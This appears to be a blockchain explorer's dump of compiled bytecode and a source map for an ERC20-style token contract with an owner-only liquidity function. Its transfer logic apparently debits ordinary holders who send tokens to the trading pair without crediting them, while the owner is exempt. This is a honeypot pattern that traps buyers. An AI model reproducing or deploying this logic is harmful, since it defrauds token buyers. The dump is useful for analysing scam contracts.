050565b6000602082019050818103600083015261193881611768565b9050919050565b600060208201905081810360008301526119588161178b565b9050919050565b60006020820190508181036000830152611978816117ae565b9050919050565b60006020820190508181036000830152611998816117d1565b9050919050565b600060208201905081810360008301526119b8816117f4565b9050919050565b600060208201905081810360008301526119d881611817565b9050919050565b60006020820190506119f4600083018461183a565b92915050565b6000602082019050611a0f6000830184611849565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a3c82611af9565b9150611a4783611af9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a7c57611a7b611b87565b5b828201905092915050565b6000611a9282611af9565b9150611a9d83611af9565b925082821015611ab057611aaf611b87565b5b828203905092915050565b6000611ac682611ad9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611b1b82611af9565b9050919050565b60005b83811015611b40578082015181840152602081019050611b25565b83811115611b4f576000848401525b50505050565b60006002820490506001821680611b6d57607f821691505b60208210811415611b8157611b80611bb6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611db381611abb565b8114611dbe57600080fd5b50565b611dca81611af9565b8114611dd557600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220afd8744297ea530509ff8fb8406b97401d10aeae771af8749af290de6b15888d64736f6c63430008010033

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c806342966c681161008a578063a457c2d711610059578063a457c2d714610327578063a9059cbb14610364578063dd62ed3e146103a1578063e8078d94146103de576100f3565b806342966c681461026d57806370a082311461029657806379cc6790146102d357806395d89b41146102fc576100f3565b806323b872dd116100c657806323b872dd1461018b5780632f54bf6e146101c8578063313ce567146102055780633950935114610230576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103e8565b60405161011a91906118fd565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061164e565b61047a565b60405161015791906118e2565b60405180910390f35b34801561016c57600080fd5b50610175610491565b60405161018291906119df565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906115ff565b61049b565b6040516101bf91906118e2565b60405180910390f35b3480156101d457600080fd5b506101ef60048036038101906101ea9190611571565b610566565b6040516101fc91906118e2565b60405180910390f35b34801561021157600080fd5b5061021a6105c0565b60405161022791906119fa565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061164e565b6105d7565b60405161026491906118e2565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f919061168a565b61067c565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190611571565b610689565b6040516102ca91906119df565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f5919061164e565b6106d1565b005b34801561030857600080fd5b50610311610725565b60405161031e91906118fd565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061164e565b6107b7565b60405161035b91906118e2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061164e565b610876565b60405161039891906118e2565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906115c3565b61088d565b6040516103d591906119df565b60405180910390f35b6103e6610914565b005b6060600380546103f790611b55565b80601f016020809104026020016040519081016040528092919081815260200182805461042390611b55565b80156104705780601f1061044557610100808354040283529160200191610470565b820191906000526020600020905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b6000610487338484610c40565b6001905092915050565b6000600254905090565b60006104a8848484610e0b565b61055b843361055685604051806060016040528060288152602001611e2160289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b610c40565b600190509392505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b6000610672338461066d85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b610c40565b6001905092915050565b6106863382611320565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061070982604051806060016040528060248152602001611e49602491396106fa863361088d565b6112bc9092919063ffffffff16565b9050610716833383610c40565b6107208383611320565b505050565b60606004805461073490611b55565b80601f016020809104026020016040519081016040528092919081815260200182805461076090611b55565b80156107ad5780601f10610782576101008083540402835291602001916107ad565b820191906000526020600020905b81548152906001019060200180831161079057829003601f168201915b5050505050905090565b600061086c338461086785604051806060016040528060258152602001611e6d60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b610c40565b6001905092915050565b6000610883338484610e0b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61091d33610566565b61092657600080fd5b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561099357600080fd5b505afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb919061159a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2d57600080fd5b505afa158015610a41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a65919061159a565b6040518363ffffffff1660e01b8152600401610a82929190611858565b602060405180830381600087803b158015610a9c57600080fd5b505af1158015610ab0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad4919061159a565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b213082600854610c40565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430600854600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610b8a96959493929190611881565b6060604051808303818588803b158015610ba357600080fd5b505af1158015610bb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bdc91906116b3565b50505050565b6000808284610bf19190611a31565b905083811015610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d9061195f565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906119bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d179061193f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfe91906119df565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e729061199f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee29061191f565b60405180910390fd5b610ef68383836114ce565b610f6181604051806060016040528060268152602001611dfb602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061102a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611162576110b6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115591906119df565b60405180910390a36112b7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bd576112b6565b61120e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91906119df565b60405180910390a35b5b505050565b6000838311158290611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb91906118fd565b60405180910390fd5b50600083856113139190611a87565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113879061197f565b60405180910390fd5b61139c826000836114ce565b61140781604051806060016040528060228152602001611dd9602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145e816002546114d390919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c291906119df565b60405180910390a35050565b505050565b600061151583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bc565b905092915050565b60008135905061152c81611daa565b92915050565b60008151905061154181611daa565b92915050565b60008135905061155681611dc1565b92915050565b60008151905061156b81611dc1565b92915050565b60006020828403121561158357600080fd5b60006115918482850161151d565b91505092915050565b6000602082840312156115ac57600080fd5b60006115ba84828501611532565b91505092915050565b600080604083850312156115d657600080fd5b60006115e48582860161151d565b92505060206115f58582860161151d565b9150509250929050565b60008060006060848603121561161457600080fd5b60006116228682870161151d565b93505060206116338682870161151d565b925050604061164486828701611547565b9150509250925092565b6000806040838503121561166157600080fd5b600061166f8582860161151d565b925050602061168085828601611547565b9150509250929050565b60006020828403121561169c57600080fd5b60006116aa84828501611547565b91505092915050565b6000806000606084860312156116c857600080fd5b60006116d68682870161155c565b93505060206116e78682870161155c565b92505060406116f88682870161155c565b9150509250925092565b61170b81611abb565b82525050565b61171a81611acd565b82525050565b61172981611b10565b82525050565b600061173a82611a15565b6117448185611a20565b9350611754818560208601611b22565b61175d81611be5565b840191505092915050565b6000611775602383611a20565b915061178082611bf6565b604082019050919050565b6000611798602283611a20565b91506117a382611c45565b604082019050919050565b60006117bb601b83611a20565b91506117c682611c94565b602082019050919050565b60006117de602183611a20565b91506117e982611cbd565b604082019050919050565b6000611801602583611a20565b915061180c82611d0c565b604082019050919050565b6000611824602483611a20565b915061182f82611d5b565b604082019050919050565b61184381611af9565b82525050565b61185281611b03565b82525050565b600060408201905061186d6000830185611702565b61187a6020830184611702565b9392505050565b600060c0820190506118966000830189611702565b6118a3602083018861183a565b6118b06040830187611720565b6118bd6060830186611720565b6118ca6080830185611702565b6118d760a083018461183a565b979650505050505050565b60006020820190506118f76000830184611711565b92915050565b60006020820190508181036000830152611917818461172f565b905092915050565b6000602082019050818103600083015261193881611768565b9050919050565b600060208201905081810360008301526119588161178b565b9050919050565b60006020820190508181036000830152611978816117ae565b9050919050565b60006020820190508181036000830152611998816117d1565b9050919050565b600060208201905081810360008301526119b8816117f4565b9050919050565b600060208201905081810360008301526119d881611817565b9050919050565b60006020820190506119f4600083018461183a565b92915050565b6000602082019050611a0f6000830184611849565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a3c82611af9565b9150611a4783611af9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a7c57611a7b611b87565b5b828201905092915050565b6000611a9282611af9565b9150611a9d83611af9565b925082821015611ab057611aaf611b87565b5b828203905092915050565b6000611ac682611ad9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611b1b82611af9565b9050919050565b60005b83811015611b40578082015181840152602081019050611b25565b83811115611b4f576000848401525b50505050565b60006002820490506001821680611b6d57607f821691505b60208210811415611b8157611b80611bb6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611db381611abb565b8114611dbe57600080fd5b50565b611dca81611af9565b8114611dd557600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220afd8744297ea530509ff8fb8406b97401d10aeae771af8749af290de6b15888d64736f6c63430008010033

Deployed Bytecode Sourcemap

10629:6109:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11575:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13027:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11858:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13204:317;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11398:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11765:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13947:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13529:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11968:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13635:300;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11668:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14171:265;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12095:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12278:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12437:582;;;:::i;:::-;;11575:83;11612:13;11645:5;11638:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11575:83;:::o;13027:167::-;13110:4;13127:37;13136:10;13148:7;13157:6;13127:8;:37::i;:::-;13182:4;13175:11;;13027:167;;;;:::o;11858:100::-;11911:7;11938:12;;11931:19;;11858:100;:::o;13204:317::-;13310:4;13327:36;13337:6;13345:9;13356:6;13327:9;:36::i;:::-;13374:117;13383:6;13391:10;13403:87;13439:6;13403:87;;;;;;;;;;;;;;;;;:11;:19;13415:6;13403:19;;;;;;;;;;;;;;;:31;13423:10;13403:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;13374:8;:117::i;:::-;13509:4;13502:11;;13204:317;;;;;:::o;11398:103::-;11452:4;11487:6;;;;;;;;;;;11476:17;;:7;:17;;;11469:24;;11398:103;;;:::o;11765:83::-;11806:5;11831:9;;;;;;;;;;;11824:16;;11765:83;:::o;13947:214::-;14035:4;14052:79;14061:10;14073:7;14082:48;14119:10;14082:11;:23;14094:10;14082:23;;;;;;;;;;;;;;;:32;14106:7;14082:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;14052:8;:79::i;:::-;14149:4;14142:11;;13947:214;;;;:::o;13529:98::-;13594:25;13600:10;13612:6;13594:5;:25::i;:::-;13529:98;:::o;11968:119::-;12034:7;12061:9;:18;12071:7;12061:18;;;;;;;;;;;;;;;;12054:25;;11968:119;;;:::o;13635:300::-;13721:26;13750:82;13785:6;13750:82;;;;;;;;;;;;;;;;;:30;13760:7;13769:10;13750:9;:30::i;:::-;:34;;:82;;;;;:::i;:::-;13721:111;;13845:49;13854:7;13863:10;13875:18;13845:8;:49::i;:::-;13905:22;13911:7;13920:6;13905:5;:22::i;:::-;13635:300;;;:::o;11668:87::-;11707:13;11740:7;11733:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11668:87;:::o;14171:265::-;14264:4;14281:125;14290:10;14302:7;14311:94;14348:15;14311:94;;;;;;;;;;;;;;;;;:11;:23;14323:10;14311:23;;;;;;;;;;;;;;;:32;14335:7;14311:32;;;;;;;;;;;;;;;;:36;;:94;;;;;:::i;:::-;14281:8;:125::i;:::-;14424:4;14417:11;;14171:265;;;;:::o;12095:173::-;12181:4;12198:40;12208:10;12220:9;12231:6;12198:9;:40::i;:::-;12256:4;12249:11;;12095:173;;;;:::o;12278:151::-;12367:7;12394:11;:18;12406:5;12394:18;;;;;;;;;;;;;;;:27;12413:7;12394:27;;;;;;;;;;;;;;;;12387:34;;12278:151;;;;:::o;12437:582::-;11346:19;11354:10;11346:7;:19::i;:::-;11338:28;;;;;;12507:34:::1;12563:9;;;;;;;;;;;12507:66;;12626:15;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12608:55;;;12672:4;12679:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12608:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12594:11;;:108;;;;;;;;;;;;;;;;;;12715:65;12732:4;12747:15;12765:14;;12715:8;:65::i;:::-;12801:15;:31;;;12840:9;12873:4;12893:14;;12922:1;12938::::0;12954:6:::1;;;;;;;;;;;12975:15;12801:200;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11377:1;12437:582::o:0;99:181::-;157:7;177:9;193:1;189;:5;;;;:::i;:::-;177:17;;218:1;213;:6;;205:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;271:1;264:8;;;99:181;;;;:::o;16139:346::-;16258:1;16241:19;;:5;:19;;;;16233:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16339:1;16320:21;;:7;:21;;;;16312:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16423:6;16393:11;:18;16405:5;16393:18;;;;;;;;;;;;;;;:27;16412:7;16393:27;;;;;;;;;;;;;;;:36;;;;16461:7;16445:32;;16454:5;16445:32;;;16470:6;16445:32;;;;;;:::i;:::-;;;;;;;;16139:346;;;:::o;14444:865::-;14578:1;14560:20;;:6;:20;;;;14552:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14662:1;14641:23;;:9;:23;;;;14633:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14717:47;14738:6;14746:9;14757:6;14717:20;:47::i;:::-;14805:71;14827:6;14805:71;;;;;;;;;;;;;;;;;:9;:17;14815:6;14805:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;14785:9;:17;14795:6;14785:17;;;;;;;;;;;;;;;:91;;;;14900:6;;;;;;;;;;;14890:16;;:6;:16;;;:43;;;;14928:4;14910:23;;:6;:23;;;14890:43;:73;;;;14958:4;14937:26;;:9;:26;;;14890:73;14887:405;;;15003:32;15028:6;15003:9;:20;15013:9;15003:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14980:9;:20;14990:9;14980:20;;;;;;;;;;;;;;;:55;;;;15072:9;15055:35;;15064:6;15055:35;;;15083:6;15055:35;;;;;;:::i;:::-;;;;;;;;14887:405;;;15125:11;;;;;;;;;;;15112:24;;:9;:24;;;15108:184;;;;;;15193:32;15218:6;15193:9;:20;15203:9;15193:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15170:9;:20;15180:9;15170:20;;;;;;;;;;;;;;;:55;;;;15262:9;15245:35;;15254:6;15245:35;;;15273:6;15245:35;;;;;;:::i;:::-;;;;;;;;15108:184;14887:405;14444:865;;;:::o;432:192::-;518:7;551:1;546;:6;;554:12;538:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;578:9;594:1;590;:5;;;;:::i;:::-;578:17;;615:1;608:8;;;432:192;;;;;:::o;15711:418::-;15814:1;15795:21;;:7;:21;;;;15787:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15867:49;15888:7;15905:1;15909:6;15867:20;:49::i;:::-;15950:68;15973:6;15950:68;;;;;;;;;;;;;;;;;:9;:18;15960:7;15950:18;;;;;;;;;;;;;;;;:22;;:68;;;;;:::i;:::-;15929:9;:18;15939:7;15929:18;;;;;;;;;;;;;;;:89;;;;16044:24;16061:6;16044:12;;:16;;:24;;;;:::i;:::-;16029:12;:39;;;;16110:1;16084:37;;16093:7;16084:37;;;16114:6;16084:37;;;;;;:::i;:::-;;;;;;;;15711:418;;:::o;16595:92::-;;;;:::o;288:136::-;346:7;373:43;377:1;380;373:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;366:50;;288:136;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:139::-;;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;353:87;;;;:::o;446:143::-;;534:6;528:13;519:22;;550:33;577:5;550:33;:::i;:::-;509:80;;;;:::o;595:262::-;;703:2;691:9;682:7;678:23;674:32;671:2;;;719:1;716;709:12;671:2;762:1;787:53;832:7;823:6;812:9;808:22;787:53;:::i;:::-;777:63;;733:117;661:196;;;;:::o;863:284::-;;982:2;970:9;961:7;957:23;953:32;950:2;;;998:1;995;988:12;950:2;1041:1;1066:64;1122:7;1113:6;1102:9;1098:22;1066:64;:::i;:::-;1056:74;;1012:128;940:207;;;;:::o;1153:407::-;;;1278:2;1266:9;1257:7;1253:23;1249:32;1246:2;;;1294:1;1291;1284:12;1246:2;1337:1;1362:53;1407:7;1398:6;1387:9;1383:22;1362:53;:::i;:::-;1352:63;;1308:117;1464:2;1490:53;1535:7;1526:6;1515:9;1511:22;1490:53;:::i;:::-;1480:63;;1435:118;1236:324;;;;;:::o;1566:552::-;;;;1708:2;1696:9;1687:7;1683:23;1679:32;1676:2;;;1724:1;1721;1714:12;1676:2;1767:1;1792:53;1837:7;1828:6;1817:9;1813:22;1792:53;:::i;:::-;1782:63;;1738:117;1894:2;1920:53;1965:7;1956:6;1945:9;1941:22;1920:53;:::i;:::-;1910:63;;1865:118;2022:2;2048:53;2093:7;2084:6;2073:9;2069:22;2048:53;:::i;:::-;2038:63;;1993:118;1666:452;;;;;:::o;2124:407::-;;;2249:2;2237:9;2228:7;2224:23;2220:32;2217:2;;;2265:1;2262;2255:12;2217:2;2308:1;2333:53;2378:7;2369:6;2358:9;2354:22;2333:53;:::i;:::-;2323:63;;2279:117;2435:2;2461:53;2506:7;2497:6;2486:9;2482:22;2461:53;:::i;:::-;2451:63;;2406:118;2207:324;;;;;:::o;2537:262::-;;2645:2;2633:9;2624:7;2620:23;2616:32;2613:2;;;2661:1;2658;2651:12;2613:2;2704:1;2729:53;2774:7;2765:6;2754:9;2750:22;2729:53;:::i;:::-;2719:63;;2675:117;2603:196;;;;:::o;2805:596::-;;;;2958:2;2946:9;2937:7;2933:23;2929:32;2926:2;;;2974:1;2971;2964:12;2926:2;3017:1;3042:64;3098:7;3089:6;3078:9;3074:22;3042:64;:::i;:::-;3032:74;;2988:128;3155:2;3181:64;3237:7;3228:6;3217:9;3213:22;3181:64;:::i;:::-;3171:74;;3126:129;3294:2;3320:64;3376:7;3367:6;3356:9;3352:22;3320:64;:::i;:::-;3310:74;;3265:129;2916:485;;;;;:::o;3407:118::-;3494:24;3512:5;3494:24;:::i;:::-;3489:3;3482:37;3472:53;;:::o;3531:109::-;3612:21;3627:5;3612:21;:::i;:::-;3607:3;3600:34;3590:50;;:::o;3646:147::-;3741:45;3780:5;3741:45;:::i;:::-;3736:3;3729:58;3719:74;;:::o;3799:364::-;;3915:39;3948:5;3915:39;:::i;:::-;3970:71;4034:6;4029:3;3970:71;:::i;:::-;3963:78;;4050:52;4095:6;4090:3;4083:4;4076:5;4072:16;4050:52;:::i;:::-;4127:29;4149:6;4127:29;:::i;:::-;4122:3;4118:39;4111:46;;3891:272;;;;;:::o;4169:366::-;;4332:67;4396:2;4391:3;4332:67;:::i;:::-;4325:74;;4408:93;4497:3;4408:93;:::i;:::-;4526:2;4521:3;4517:12;4510:19;;4315:220;;;:::o;4541:366::-;;4704:67;4768:2;4763:3;4704:67;:::i;:::-;4697:74;;4780:93;4869:3;4780:93;:::i;:::-;4898:2;4893:3;4889:12;4882:19;;4687:220;;;:::o;4913:366::-;;5076:67;5140:2;5135:3;5076:67;:::i;:::-;5069:74;;5152:93;5241:3;5152:93;:::i;:::-;5270:2;5265:3;5261:12;5254:19;;5059:220;;;:::o;5285:366::-;;5448:67;5512:2;5507:3;5448:67;:::i;:::-;5441:74;;5524:93;5613:3;5524:93;:::i;:::-;5642:2;5637:3;5633:12;5